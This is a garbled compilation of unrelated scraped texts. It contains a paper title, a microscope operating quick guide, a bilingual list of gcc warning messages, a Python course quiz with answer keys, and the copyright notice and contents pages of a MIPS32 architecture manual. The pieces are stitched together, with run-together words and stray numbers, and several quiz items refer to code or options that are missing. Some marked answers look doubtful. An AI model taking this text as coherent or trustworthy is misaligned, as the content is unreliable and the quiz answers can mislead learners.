NIPS'00 The Use of Classifiers in Sequential Inference
尼康 TIRF 细胞成像共享资源 (CISR) 742B Light Hall 快速指南说明书
Nikon TIRFCell Imaging Shared Resource (CISR) 742B Light Hall Quick Guide 1. Sign in to the log book.2. Turn on switches 1-4 in numerical order. The computer must be OFF before starting 1-4.∙1 is the power strip on the left wall.∙ 2 is the key on the top laser box. ∙3 is the key on the bottom laser box.∙4 is the green button on the power strip on the left and tothe back of the microscope.3. The computer should start up.4. Log in to the computer usingyour VUNetID and password.5. Start NIS -Elements software.6. Login to NIS -Elements using your first name and no password.1324561 32 45 61. There are preset layouts along the bottom of the screen for Widefield (WF), TIRF, and Bleaching. These will open the appropriate windows for each type of imaging.2. Along the top of the screen arepreset Optical Configurations . You will see all the default configurations. You may dupli-cate a configuration by right clicking. Rename for yourself, and now you are able to change this new duplicated configuration to fit your imaging needs. This new configura-tion will only be visible under your named login.3. To reuse settings from a previous image, open the image and right click within the image. You will have choice for “reuse camera settings”, “reuse acquisition settings”, or “reuse XYZ”.4.To view your image on the screen, use the green arrow “live” button on the top left. Stop with the red circle. Capture a single time point with the camera button. 5. Autoscale can be useful for viewing images when setting exposure time and laser power.6. For fast imaging, you may wish to adjust the frame size. In a live image, choose ROI. You may choose a preset size or define an ROI.7. Images may besaved as ei-ther .nd2 (Nikonformat) or TIF. Movies will save auto-matically ac-cording to your settings in the ND Acquisitionwindow.1 32 13 24 41.Choose objective (10x dry, 20x dry, or 60x Oil immersion)on left side of scope or in software. Use Nikon oil.2.Add oil to objective if using 60x TIRF lens.3.Loosen screws on stage to adjust for sample. Place samplein holder and tighten screws.4.On either side of scope, choose Coarse, Fine, or Extra Fineto move focus with focus knobs. Turn knob toward user tobring objective up.5.XY joystick also has Coarse, Fine, and Extra Fine formovement. Twist joystick to toggle between choices.132132JoystickPerfect Focus (PFS)1. To find your sample by bright light through the oculars, choose either DIC or BF from the top menu bar.2. To find your sample by fluorescence through the oculars, choose “FITC Eyes” configura-tion from top menu bar.3. Click “Spectra” to turn on widefield illumi-nation to eyes. Ensure that E100 is selected under Ti Pad under Light Path.4. You should be able to see fluorescence through the oculars. This filter show both Green and Red excitation.132 4 13 246.To visualize sample on screen, choose WF tab at bottomof software, and choose WF optical configuration at top(DAPI WF, FITC WF, TRITC WF, CY5 WF, CFP WF, YFP WF).7.Start “Live” with green arrow button.8.Focus with focus knobs on scope.9.Perfect Focus (PFS) may be used to find and hold correctfocal plane.10.Choose PFS ON button on front of scope. While thisbutton is blinking, focus with the focus knob. When PFSstops blinking, focal plane is found. Now use the PFS wheelfor fine focusing.1 32456132456JoystickPerfect Focus (PFS)81231. For live cell imaging, turn on orange power button on the incubator above the laser boxes.2. Three heaters will come to their appropriate tem-peratures. Top Heater will reach 43, Stage Heater will reach 39, and Bath Heater will reach 41. The Lens Heater needs to be switched on separately. Dicuss your needs with CISR staff.3. If not already in place, put the heated stage adap-tor in place. Use lab tape to hold in place.4. Ensure there is sufficient water in the heated stage water bath. Use dI H2O.5. Turn on the CO2 tank on the wall by the main CISR door. Turn on with the main silver knob.6. Check the CO2 indicator on the front of the incu-bator box to ensure CO2 is on.7. Although temperatures will be ready within 5-10 minutes, for optimal environmental conditions, al-low temperature and CO2 to equilibrate for 30 minutes.1231 231.Choose WF tab at the bottom of screen, and choose optical configuration at the top of the screen to match your fluorophore of interest. 2. To adjust signal, adjust Spectra % output as well as exposure time in Zyla camera window. 3. Use PFS to focus sample.4. Choose “Live ” green arrow to see image on screen.5. For single time point, click “Capture ”. Repeat for multiple channels, and merge to create multi -channel image. Merge can be found under File.6. For time -lapse acquisition, use ND Acquisition window.7. Set -up multiple channels under Wavelength. Choose each channel under Optical Configuration.8. Set -up time -lapse under Time. Choose Define. Inter-val is time between images, and Duration is total time.1 2 45 713 24 6 7 31256H-TIRFAutomated TIRF alignment in software1.Raise microscope condenser to make visualizing light easier.2.H-TIRF alignment is done in the software.3.For H-TIRF, open Ti-LAPP H-TIRF Pad.4.Adjust Angle until you see the laser spot on the wall.5.Continue adjusting until the light is overhead.6.Focus the spot to the smallest possible spot.7.Set Direction to 180.8.Adjust Angle again until you see TIRF signal on sample. You will see a bright signal andthen nothing. Adjust Angle back until see image again.9.Adjust Direction to fine tune across the best region of your sample.M-TIRFManual TIRF Alignment1.M-TIRF is done manually with adjustments on the microscope.2.Angle3.Focus4.Direction1.After finding an image by widefield, choose TIRF layout at bottom of screen and TIRF optical configuration at topof screen (488 H -TIRF, 561 M -TIRF, or General M -TIRF).In the previous sections you should have found cells and focused and adjusted TIRF angle.2. Optimize signal by adjusting laser power in the LU -NV Nidaq Pad window and exposure time in the Zyla camera window.3. For single time point, capture image with “capture” cam-era button along top of screen.4. For time -lapse imaging, open ND Acquisition window.5. First tab in ND Acquisition is for time -lapse. Interval is de-lay between images. Duration is total time -lapse. For shortest possible interval, choose “no delay” for interval.6. Choose RUN NOW in ND Acquisition window.1324561 32 45 61. Switch configuration to 561M@H -TIRF or 640M@H -TIRF on top of screen.2. Open the following 3 windows — Triggered Acquisition, ND Acquisition, and Ti -LAPP H -TIRF Pad3. For Triggered Acquisition add channel. For each channel add 3 lines —LineFilter WheelLU -NV NIDAQ Switcher .4. Choose appropriate excitation wavelength for Line .5. For 488, FilterWheel =1 and Switcher =1.6. For 561, FilterWheel =2 and Switcher =4.7. For 640, FilterWheel =3 and Switcher =4.8.Set exposure time in Triggered Acquisition window. Exposure time must be the same for both channels. 9. Set time -lapse parameters in ND Acquisition window. Open Define window.10. C heck “Enable Triggering” in Triggered Acquisition window.11. E nsure that the Lower Turret Layer in the Ti -LAPP Pad shows both H -TIRF and TIRF highlighted . 12. C lick “RUN NOW” in ND Acquisition window.1 3 24 5 6132 45661. Choose the “Bleaching” tab at the bottom of the screen.2. In addition to the TIRF set -up on the previous page, open the Bruker Miniscanner window.3. Choose laser for bleaching and set parameters (% and dwell time) in both the Bruker Miniscanner window and the LU_N4 Padwindow. 4. On right side of image window, right click on ROI icon to choose ROI shape. Draw ROI.5. Right click on ROI and choose “Use as Stimulation ROI ”.6. Set exposure time in camera window.7. Set bleaching and time -lapse in ND Sequence Acquisition window. Bleaching can be Sequential or Simultaneous (next page).12 5 34 1 2 53 47. For Sequential bleaching, set up actions in ND SequenceAcquisition window. For example, add #1 ND Acqui-sition, #2 Stimulation, #3 ND Acquisition. Open Define window for each to set interval and delay.8. For Simultaneous bleaching, set up actions in ND Se-quence Acquisition using Simultaneous Stimulation. Open Define window to set interval and delay. Stimula-tion time will be set based on ROI size and dwell time in miniscanner window. 9. For bleaching, ensure that the following buttons are active:A. Under Filters , choose Galvo on Turret 2(blue box, second from left)B. In Ti -LAPP Pad window, choose FRAP on Upper Turret LayerC. Under menu bar at top of screen, turn on AOTF. 10. RUN NOW. 1 2 43 1 24 3Check the CISR scheduling calendar to see if anyone issigned up after you. If another user is coming with 1 hour,please log out of the software, sign out in the log book, andleave the microscope and lasers ON.If no one is coming after you, follow the next steps.1.Close NIS software.2.Shut down the computer.3.Turn off power strip 4 (green)4.Turn off laser box 3 (bottom)5.Turn off laser box 2 (top).6.Turn off power strip 1 (left wall).7.Sign out in log book.e again soon!Updated 05/2016。
gcc 常见的编译警告与错误(按字母顺序排列)
gcc 常见的编译警告与错误(按字母顺序排列)C语言初学者遇到的最大问题往往是看不懂编译错误,进而不知如何修改程序。
有鉴于此,本附录罗列了用gcc编译程序时经常出现的编译警告与错误。
需要提醒读者的是,出现警告(warning)并不影响目标程序的生成,但出现错误(error)则无法生成目标程序。
为便于读者查阅,下面列出了经常遇到的警告与错误,给出了中英文对照(英文按字典顺序排列),并对部分错误与警告做了必要的解释。
#%s expects \FILENAME\ or …#%s 需要\FILENAME\ 或…#%s is a deprecated GCC extension#%s 是一个已过时的GCC 扩展#%s is a GCC extension#%s 是一个GCC 扩展#~ error:#~ 错误:#~ In file included from %s:%u#~ 在包含自%s:%u 的文件中#~ internal error:#~ 内部错误:#~ no newline at end of file#~ 文件未以空白行结束#~ warning:#~ 警告:#elif after #else#elif 出现在#else 后#elif without #if#elif 没有匹配的#if#else after #else#else 出现在#else 后#else without #if#else 没有匹配的#if#endif without #if#endif 没有匹配的#if#include nested too deeply#include 嵌套过深#include_next in primary source file#include_next 出现在主源文件中#pragma %s %s is already registered#pragma %s %s 已经被注册#pragma %s is already registered#pragma %s 已经被注册#pragma once in main file#pragma once 出现在主文件中#pragma system_header ignored outside include file#pragma system_heade 在包含文件外被忽略%.*s is not a valid universal character%.*s 不是一个有效的Unicode 字符%s in preprocessing directive预处理指示中出现%s%s is a block device%s 是一个块设备%s is shorter than expected%s 短于预期%s is too large%s 过大%s with no expression%s 后没有表达式%s: not used because `%.*s’ defined as `%s’ not `%.*s’%s:未使用因为‘%.*s’被定义为‘%s’而非‘%*.s’%s: not used because `%.*s’ is poisoned%s:未使用因为‘%.*s’已被投毒%s: not used because `%.*s’ not def ined%s:未使用因为‘%.*s’未定义%s: not used because `%s’ is defined%s:未使用因为‘%s’已定义%s: not used because `__COUNTER__’ is invalid%s:未使用因为‘__COUNTER__’无效(\%s\ is an alternative token for \%s\ in C++)(在C++ 中“%s”会是“%s”的替代标识符)(this will be reported only once per input file)(此警告为每个输入文件只报告一次)\%s\ after # is not a positive integer# 后的“%s”不是一个正整数\%s\ after #line is not a positive integer#line 后的“%s”不是一个正整数\%s\ cannot be used as a macro name as it is an operator in C++ “%s”不能被用作宏名,因为它是C++ 中的一个操作符\%s\ is not a valid filename“%s”不是一个有效的文件名\%s\ is not defined“%s”未定义\%s\ may not appear in macro parameter list“%s不能出现在宏参数列表中\%s\ re-asserted重断言“%s”\%s\ redefined“%s重定义\/*\ within comment“/*出现在注释中\\x used with no following hex digits\\x 后没有16 进制数字\defined\ cannot be used as a macro name“defined不能被用作宏名__COUNTER__ expanded inside directive with -fdirectives-only带-fdirectives-only 时__COUNTER__ 在指示中扩展__V A_ARGS__ can only appear in the expansion of a C99 variadic macro __V A_ARGS__ 只能出现在C99 可变参数宏的展开中_Pragma takes a parenthesized string literal_Pragma 需要一个括起的字符串字面常量‘%.*s’ is not in NFC‘%.*s’不在NFC 中‘%.*s’ is not in NFKC‘%.*s’不在NFKC 中‘##’ cannot appear at either end of a macro expansion‘##’不能出现在宏展开的两端‘#’ is not followed by a macro parameter‘#’后没有宏参数‘$’ in identifier or number‘$’出现在标识符或数字中‘:’ without preceding ‘?’‘:’前没有‘?’‘?’ without following ‘:’‘?’后没有‘:’'return' with a value, in function returning void在void返回类型的函数中,return返回值。
Python语言程序设计(全英)智慧树知到答案章节测试2023年华南理工大学
第一章测试1.Which is NOT the main part of computer ( )A:I/O equipmentB:CacheC:CPUD:memory答案:B2.Which symbol can be used for comments in Python ( )A:#B:“C://D:!答案:AB3.The integrated development tool built into Python is ( ).A:JupyterB:PycharmC:IDLED:Vs code答案:C4.Which is the correct operator for power(Xy)? ( )A:X^yB:None of the mentionedC:X yD:X^^y答案:C**5.Which of the following is incorrect? ( )A:float(“3+5”)B:float(“3”)C:float(4.2)D:float(3)答案:A第二章测试1.Which of the following is an invalid variable? ( )A:1st_stringB:my_string_1C:_D:foo答案:A2.What will be the output of the following Python code ? not(10<20) andnot(10>30) ( )A:ErrorB:TrueD:No output答案:C3.Which one will return error when accessing the list ‘l’ with 10 elements. ( )A:l[0]B:l[-10]C:l[10]D:l[-1]答案:C4.What will be the output of the following Python code?lst=[3,4,6,1,2]lst[1:2]=[7,8]print(lst) ( )A:Syntax errorB:[3,4,6,7,8]C:[3, 7, 8, 6, 1, 2]D:[3,[7,8],6,1,2]答案:C5.Which of the following operations will rightly modify the value of theelement? ( )答案:D6.The following program input data: 95, the output result is? ( )A:none of the mentionedB:Please enter your score: 95Your ability exceeds 85% of people!C:Please enter your score: 95Awesome!D:Please enter your score: 95Awesome!Your ability exceeds 85% of people!答案:D第三章测试1.Which one description of condition in the followings is correct? ( )A:The condition 24<=28<25 is legal, and the output is FalseB:The condition 35<=45<75 is legal, and the output is FalseC:The condition 24<=28<25 is illegalD:The condition 24<=28<25 is legal, and the output is True答案:A2.The output of the following program is? ( )A:PythonB:NoneC:pythonD:t答案:B3. for var in ___: ( )A:range(0,10)B:13.5C:[1,2,3]答案:B4.After the following program is executed, the value of s is?( )A:19B:47C:46D:9答案:D5.Which is the output of the following code?a = 30b = 1if a >=10:a = 20elif a>=20:a = 30elif a>=30:b = aelse:b = 0print(“a=”,a,“b=”,b) ()A:a=20, b=20B:a=30, b=30C:a=20, b=1D:a=30, b=1答案:C第四章测试1.Which keyword is used to define a function in Python? ( )A:funB:defineC:defD:function答案:C2.What will be the output of the following Python code? ( )A: x is 50Changed local x to 2x is now 50B:x is 50Changed local x to 2x is now 100C:None of the mentionedD:x is 50Changed local x to 2x is now 2答案:A3.Which are the advantages of functions in Python? ( )A:Improving clarity of the codeB:Reducing duplication of codeC:Easier to manage the codeD:Decomposing complex problems into simpler pieces答案:ABCD4.How does the variable length argument specified in the function heading? ( )A:one star followed by a valid identifierB:two stars followed by a valid identifierC:one underscore followed by a valid identifierD:two underscores followed by a valid identifier答案:A5.What will be the output of the following Python code? list(map((lambdax:x2), filter((lambda x:x%2==0), range(10)))) ( )A:[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]C:[0, 4, 16, 36, 64]D:No output答案:C**第五章测试1.Which of the following statements cannot create a demo.txt file? ( )A:f = open(“demo.txt”, “w”)B:f = open(“demo.txt”, “r”)C:f = open(“demo.txt”, “x”)D:f = open(“demo.txt”, “a”)答案:B2.After executing the following procedure, what content will be saved in thefile?file=open(‘test.txt’, ‘wt+’)file.write(‘helloSCUT’)file.close()file=open(‘test.txt’, ‘at+’)file.write(‘hello world’)file.close() ( )A:hello SCUThello worldB:hello SCUT hello worldC:hello SCUT worldD:hello world答案:A3.Which function is not the way Python reads files. ( )A:readlines()B:readline()C:read()D:readtext()答案:D4.How to rename a file in Python? ( )A:os.rename(fp, new_name)B:os.set_name(existing_name, new_name)C:os.rename(existing_name, new_name)D: = ‘new_name.txt’答案:C5.What is the usage of tell() function in Python? ( )A:tells you the current position within the fileB:tells you the end position within the fileC:none of the mentionedD:tells you the file is opened or not答案:A第六章测试1.What will be the output of the following Python code? ( )A:Reports error as one argument is required while creating the objectB:Runs normally, doesn’t display anythingC:Reports error as display function requires additional argumentD:Displays 0, which is the automatic default value答案:A2.What will be the output of the following Python code? ( )A:ErrorB:‘Old’C:Nothing is printedD:‘New’答案:B3.What will be the output of the following Python code? ( )A:mainB:Exception is thrownC:DemoD:test答案:A4.Which one of the followings is not correct about Class hierarchy? ( )A:Subclass can not add more behavior/methodsB:Subclass can override the methods inherited from superclassC:Subclass can have methods with same name as superclassD:Subclass can inherit all attributes from superclass答案:A5.What will be the output of the following Python code? ( )A:Error because class B inherits A but variable x isn’t inheritedB:0 1C:0 0D:Error, the syntax of the invoking method is wrong答案:B第七章测试1.Numpy is a third party package for ____ in Python? ( )A:Lambda functionB:ArrayC:FunctionD:Type casting答案:B2.How to convert a Numpy array to a list in Python? ( )A:array.listB:list.arrayC:list(array)D:list.append(array)答案:C3.Which keyword is used to access the Numpy package in Python? ( )A:loadB:importC:fromD:fetch答案:B4.Which one is correct syntax for the ‘reshape()’ function in Numpy? ( )A:array.reshape(shape)B:reshape(shape,array)C:reshape(shape)D:reshape(array,shape)答案:D5.What will be the output for the following code? import numpy as np a =np.array([1, 2, 3], dtype = complex) print(a) ( )A:[[ 1.+0.j, 2.+0.j, 3.+0.j]]B:[ 1.+0.j]C:ErrorD:[ 1.+0.j, 2.+0.j, 3.+0.j]答案:D第八章测试1.Which one isn’t the method of Image.transpose? ( )A:TRANSPOSEB:FLIP_LEFT_RIGHTC:ROTATE_90D:STRETCH答案:D2.Which one isn’t the method of ImageFilter? ( )A:ImageFilter.DETAILB:ImageFilter.BLURC:ImageFilter.EDGE_ENHANCED:ImageFilter.SHARP答案:D3.Which one is attribute of image? ( )A:modeB:sizeC:colorD:format答案:ABD4.Which operation can be used to set the picture to a given size? ( )A:resize()B:crop()C:thumbnail()D:transpose()答案:A5.What is the effect of ImageFilter. CONTOUR? ( )A:Blur the pictureB:Sharp the imageC:Smooth the pictureD:Extract lines in the picture 答案:D。
MIPS芯片架构说明
MIPS32™ Architecture For Programmers Volume I: Introduction to the MIPS32™ArchitectureDocument Number: MD00082Revision 2.00June 8, 2003MIPS Technologies, Inc.1225 Charleston RoadMountain View, CA 94043-1353Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Copyright ©2001-2003 MIPS Technologies, Inc. All rights reserved.Unpublished rights (if any) reserved under the copyright laws of the United States of America and other countries.This document contains information that is proprietary to MIPS Technologies, Inc. ("MIPS Technologies"). Any copying,reproducing,modifying or use of this information(in whole or in part)that is not expressly permitted in writing by MIPS Technologies or an authorized third party is strictly prohibited. At a minimum, this information is protected under unfair competition and copyright laws. Violations thereof may result in criminal penalties and fines.Any document provided in source format(i.e.,in a modifiable form such as in FrameMaker or Microsoft Word format) is subject to use and distribution restrictions that are independent of and supplemental to any and all confidentiality restrictions. UNDER NO CIRCUMSTANCES MAY A DOCUMENT PROVIDED IN SOURCE FORMAT BE DISTRIBUTED TO A THIRD PARTY IN SOURCE FORMAT WITHOUT THE EXPRESS WRITTEN PERMISSION OF MIPS TECHNOLOGIES, INC.MIPS Technologies reserves the right to change the information contained in this document to improve function,design or otherwise.MIPS Technologies does not assume any liability arising out of the application or use of this information, or of any error or omission in such information. Any warranties, whether express, statutory, implied or otherwise, including but not limited to the implied warranties of merchantability orfitness for a particular purpose,are excluded. Except as expressly provided in any written license agreement from MIPS Technologies or an authorized third party,the furnishing of this document does not give recipient any license to any intellectual property rights,including any patent rights, that cover the information in this document.The information contained in this document shall not be exported or transferred for the purpose of reexporting in violation of any U.S. or non-U.S. regulation, treaty, Executive Order, law, statute, amendment or supplement thereto. The information contained in this document constitutes one or more of the following: commercial computer software, commercial computer software documentation or other commercial items.If the user of this information,or any related documentation of any kind,including related technical data or manuals,is an agency,department,or other entity of the United States government ("Government"), the use, duplication, reproduction, release, modification, disclosure, or transfer of this information, or any related documentation of any kind, is restricted in accordance with Federal Acquisition Regulation12.212for civilian agencies and Defense Federal Acquisition Regulation Supplement227.7202 for military agencies.The use of this information by the Government is further restricted in accordance with the terms of the license agreement(s) and/or applicable contract terms and conditions covering this information from MIPS Technologies or an authorized third party.MIPS,R3000,R4000,R5000and R10000are among the registered trademarks of MIPS Technologies,Inc.in the United States and other countries,and MIPS16,MIPS16e,MIPS32,MIPS64,MIPS-3D,MIPS-based,MIPS I,MIPS II,MIPS III,MIPS IV,MIPS V,MIPSsim,SmartMIPS,MIPS Technologies logo,4K,4Kc,4Km,4Kp,4KE,4KEc,4KEm,4KEp, 4KS, 4KSc, 4KSd, M4K, 5K, 5Kc, 5Kf, 20Kc, 25Kf, ASMACRO, ATLAS, At the Core of the User Experience., BusBridge, CoreFPGA, CoreLV, EC, JALGO, MALTA, MDMX, MGB, PDtrace, Pipeline, Pro, Pro Series, SEAD, SEAD-2, SOC-it and YAMON are among the trademarks of MIPS Technologies, Inc.All other trademarks referred to herein are the property of their respective owners.Template: B1.08, Built with tags: 2B ARCH MIPS32MIPS32™ Architecture For Programmers Volume I, Revision 2.00 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Table of ContentsChapter 1 About This Book (1)1.1 Typographical Conventions (1)1.1.1 Italic Text (1)1.1.2 Bold Text (1)1.1.3 Courier Text (1)1.2 UNPREDICTABLE and UNDEFINED (2)1.2.1 UNPREDICTABLE (2)1.2.2 UNDEFINED (2)1.3 Special Symbols in Pseudocode Notation (2)1.4 For More Information (4)Chapter 2 The MIPS Architecture: An Introduction (7)2.1 MIPS32 and MIPS64 Overview (7)2.1.1 Historical Perspective (7)2.1.2 Architectural Evolution (7)2.1.3 Architectural Changes Relative to the MIPS I through MIPS V Architectures (9)2.2 Compliance and Subsetting (9)2.3 Components of the MIPS Architecture (10)2.3.1 MIPS Instruction Set Architecture (ISA) (10)2.3.2 MIPS Privileged Resource Architecture (PRA) (10)2.3.3 MIPS Application Specific Extensions (ASEs) (10)2.3.4 MIPS User Defined Instructions (UDIs) (11)2.4 Architecture Versus Implementation (11)2.5 Relationship between the MIPS32 and MIPS64 Architectures (11)2.6 Instructions, Sorted by ISA (12)2.6.1 List of MIPS32 Instructions (12)2.6.2 List of MIPS64 Instructions (13)2.7 Pipeline Architecture (13)2.7.1 Pipeline Stages and Execution Rates (13)2.7.2 Parallel Pipeline (14)2.7.3 Superpipeline (14)2.7.4 Superscalar Pipeline (14)2.8 Load/Store Architecture (15)2.9 Programming Model (15)2.9.1 CPU Data Formats (16)2.9.2 FPU Data Formats (16)2.9.3 Coprocessors (CP0-CP3) (16)2.9.4 CPU Registers (16)2.9.5 FPU Registers (18)2.9.6 Byte Ordering and Endianness (21)2.9.7 Memory Access Types (25)2.9.8 Implementation-Specific Access Types (26)2.9.9 Cache Coherence Algorithms and Access Types (26)2.9.10 Mixing Access Types (26)Chapter 3 Application Specific Extensions (27)3.1 Description of ASEs (27)3.2 List of Application Specific Instructions (28)3.2.1 The MIPS16e Application Specific Extension to the MIPS32Architecture (28)3.2.2 The MDMX Application Specific Extension to the MIPS64 Architecture (28)3.2.3 The MIPS-3D Application Specific Extension to the MIPS64 Architecture (28)MIPS32™ Architecture For Programmers Volume I, Revision 2.00i Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.3.2.4 The SmartMIPS Application Specific Extension to the MIPS32 Architecture (28)Chapter 4 Overview of the CPU Instruction Set (29)4.1 CPU Instructions, Grouped By Function (29)4.1.1 CPU Load and Store Instructions (29)4.1.2 Computational Instructions (32)4.1.3 Jump and Branch Instructions (35)4.1.4 Miscellaneous Instructions (37)4.1.5 Coprocessor Instructions (40)4.2 CPU Instruction Formats (41)Chapter 5 Overview of the FPU Instruction Set (43)5.1 Binary Compatibility (43)5.2 Enabling the Floating Point Coprocessor (44)5.3 IEEE Standard 754 (44)5.4 FPU Data Types (44)5.4.1 Floating Point Formats (44)5.4.2 Fixed Point Formats (48)5.5 Floating Point Register Types (48)5.5.1 FPU Register Models (49)5.5.2 Binary Data Transfers (32-Bit and 64-Bit) (49)5.5.3 FPRs and Formatted Operand Layout (50)5.6 Floating Point Control Registers (FCRs) (50)5.6.1 Floating Point Implementation Register (FIR, CP1 Control Register 0) (51)5.6.2 Floating Point Control and Status Register (FCSR, CP1 Control Register 31) (53)5.6.3 Floating Point Condition Codes Register (FCCR, CP1 Control Register 25) (55)5.6.4 Floating Point Exceptions Register (FEXR, CP1 Control Register 26) (56)5.6.5 Floating Point Enables Register (FENR, CP1 Control Register 28) (56)5.7 Formats of Values Used in FP Registers (57)5.8 FPU Exceptions (58)5.8.1 Exception Conditions (59)5.9 FPU Instructions (62)5.9.1 Data Transfer Instructions (62)5.9.2 Arithmetic Instructions (63)5.9.3 Conversion Instructions (65)5.9.4 Formatted Operand-Value Move Instructions (66)5.9.5 Conditional Branch Instructions (67)5.9.6 Miscellaneous Instructions (68)5.10 Valid Operands for FPU Instructions (68)5.11 FPU Instruction Formats (70)5.11.1 Implementation Note (71)Appendix A Instruction Bit Encodings (75)A.1 Instruction Encodings and Instruction Classes (75)A.2 Instruction Bit Encoding Tables (75)A.3 Floating Point Unit Instruction Format Encodings (82)Appendix B Revision History (85)ii MIPS32™ Architecture For Programmers Volume I, Revision 2.00 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Figure 2-1: Relationship between the MIPS32 and MIPS64 Architectures (11)Figure 2-2: One-Deep Single-Completion Instruction Pipeline (13)Figure 2-3: Four-Deep Single-Completion Pipeline (14)Figure 2-4: Four-Deep Superpipeline (14)Figure 2-5: Four-Way Superscalar Pipeline (15)Figure 2-6: CPU Registers (18)Figure 2-7: FPU Registers for a 32-bit FPU (20)Figure 2-8: FPU Registers for a 64-bit FPU if Status FR is 1 (21)Figure 2-9: FPU Registers for a 64-bit FPU if Status FR is 0 (22)Figure 2-10: Big-Endian Byte Ordering (23)Figure 2-11: Little-Endian Byte Ordering (23)Figure 2-12: Big-Endian Data in Doubleword Format (24)Figure 2-13: Little-Endian Data in Doubleword Format (24)Figure 2-14: Big-Endian Misaligned Word Addressing (25)Figure 2-15: Little-Endian Misaligned Word Addressing (25)Figure 3-1: MIPS ISAs and ASEs (27)Figure 3-2: User-Mode MIPS ISAs and Optional ASEs (27)Figure 4-1: Immediate (I-Type) CPU Instruction Format (42)Figure 4-2: Jump (J-Type) CPU Instruction Format (42)Figure 4-3: Register (R-Type) CPU Instruction Format (42)Figure 5-1: Single-Precisions Floating Point Format (S) (45)Figure 5-2: Double-Precisions Floating Point Format (D) (45)Figure 5-3: Paired Single Floating Point Format (PS) (46)Figure 5-4: Word Fixed Point Format (W) (48)Figure 5-5: Longword Fixed Point Format (L) (48)Figure 5-6: FPU Word Load and Move-to Operations (49)Figure 5-7: FPU Doubleword Load and Move-to Operations (50)Figure 5-8: Single Floating Point or Word Fixed Point Operand in an FPR (50)Figure 5-9: Double Floating Point or Longword Fixed Point Operand in an FPR (50)Figure 5-10: Paired-Single Floating Point Operand in an FPR (50)Figure 5-11: FIR Register Format (51)Figure 5-12: FCSR Register Format (53)Figure 5-13: FCCR Register Format (55)Figure 5-14: FEXR Register Format (56)Figure 5-15: FENR Register Format (56)Figure 5-16: Effect of FPU Operations on the Format of Values Held in FPRs (58)Figure 5-17: I-Type (Immediate) FPU Instruction Format (71)Figure 5-18: R-Type (Register) FPU Instruction Format (71)Figure 5-19: Register-Immediate FPU Instruction Format (71)Figure 5-20: Condition Code, Immediate FPU Instruction Format (71)Figure 5-21: Formatted FPU Compare Instruction Format (71)Figure 5-22: FP RegisterMove, Conditional Instruction Format (71)Figure 5-23: Four-Register Formatted Arithmetic FPU Instruction Format (72)Figure 5-24: Register Index FPU Instruction Format (72)Figure 5-25: Register Index Hint FPU Instruction Format (72)Figure 5-26: Condition Code, Register Integer FPU Instruction Format (72)Figure A-1: Sample Bit Encoding Table (76)MIPS32™ Architecture For Programmers Volume I, Revision 2.00iii Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Table 1-1: Symbols Used in Instruction Operation Statements (2)Table 2-1: MIPS32 Instructions (12)Table 2-2: MIPS64 Instructions (13)Table 2-3: Unaligned Load and Store Instructions (24)Table 4-1: Load and Store Operations Using Register + Offset Addressing Mode (30)Table 4-2: Aligned CPU Load/Store Instructions (30)Table 4-3: Unaligned CPU Load and Store Instructions (31)Table 4-4: Atomic Update CPU Load and Store Instructions (31)Table 4-5: Coprocessor Load and Store Instructions (31)Table 4-6: FPU Load and Store Instructions Using Register+Register Addressing (32)Table 4-7: ALU Instructions With an Immediate Operand (33)Table 4-8: Three-Operand ALU Instructions (33)Table 4-9: Two-Operand ALU Instructions (34)Table 4-10: Shift Instructions (34)Table 4-11: Multiply/Divide Instructions (35)Table 4-12: Unconditional Jump Within a 256 Megabyte Region (36)Table 4-13: PC-Relative Conditional Branch Instructions Comparing Two Registers (36)Table 4-14: PC-Relative Conditional Branch Instructions Comparing With Zero (37)Table 4-15: Deprecated Branch Likely Instructions (37)Table 4-16: Serialization Instruction (38)Table 4-17: System Call and Breakpoint Instructions (38)Table 4-18: Trap-on-Condition Instructions Comparing Two Registers (38)Table 4-19: Trap-on-Condition Instructions Comparing an Immediate Value (38)Table 4-20: CPU Conditional Move Instructions (39)Table 4-21: Prefetch Instructions (39)Table 4-22: NOP Instructions (40)Table 4-23: Coprocessor Definition and Use in the MIPS Architecture (40)Table 4-24: CPU Instruction Format Fields (42)Table 5-1: Parameters of Floating Point Data Types (45)Table 5-2: Value of Single or Double Floating Point DataType Encoding (46)Table 5-3: Value Supplied When a New Quiet NaN Is Created (47)Table 5-4: FIR Register Field Descriptions (51)Table 5-5: FCSR Register Field Descriptions (53)Table 5-6: Cause, Enable, and Flag Bit Definitions (55)Table 5-7: Rounding Mode Definitions (55)Table 5-8: FCCR Register Field Descriptions (56)Table 5-9: FEXR Register Field Descriptions (56)Table 5-10: FENR Register Field Descriptions (57)Table 5-11: Default Result for IEEE Exceptions Not Trapped Precisely (60)Table 5-12: FPU Data Transfer Instructions (62)Table 5-13: FPU Loads and Stores Using Register+Offset Address Mode (63)Table 5-14: FPU Loads and Using Register+Register Address Mode (63)Table 5-15: FPU Move To and From Instructions (63)Table 5-16: FPU IEEE Arithmetic Operations (64)Table 5-17: FPU-Approximate Arithmetic Operations (64)Table 5-18: FPU Multiply-Accumulate Arithmetic Operations (65)Table 5-19: FPU Conversion Operations Using the FCSR Rounding Mode (65)Table 5-20: FPU Conversion Operations Using a Directed Rounding Mode (65)Table 5-21: FPU Formatted Operand Move Instructions (66)Table 5-22: FPU Conditional Move on True/False Instructions (66)iv MIPS32™ Architecture For Programmers Volume I, Revision 2.00 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Table 5-23: FPU Conditional Move on Zero/Nonzero Instructions (67)Table 5-24: FPU Conditional Branch Instructions (67)Table 5-25: Deprecated FPU Conditional Branch Likely Instructions (67)Table 5-26: CPU Conditional Move on FPU True/False Instructions (68)Table 5-27: FPU Operand Format Field (fmt, fmt3) Encoding (68)Table 5-28: Valid Formats for FPU Operations (69)Table 5-29: FPU Instruction Format Fields (72)Table A-1: Symbols Used in the Instruction Encoding Tables (76)Table A-2: MIPS32 Encoding of the Opcode Field (77)Table A-3: MIPS32 SPECIAL Opcode Encoding of Function Field (78)Table A-4: MIPS32 REGIMM Encoding of rt Field (78)Table A-5: MIPS32 SPECIAL2 Encoding of Function Field (78)Table A-6: MIPS32 SPECIAL3 Encoding of Function Field for Release 2 of the Architecture (78)Table A-7: MIPS32 MOVCI Encoding of tf Bit (79)Table A-8: MIPS32 SRL Encoding of Shift/Rotate 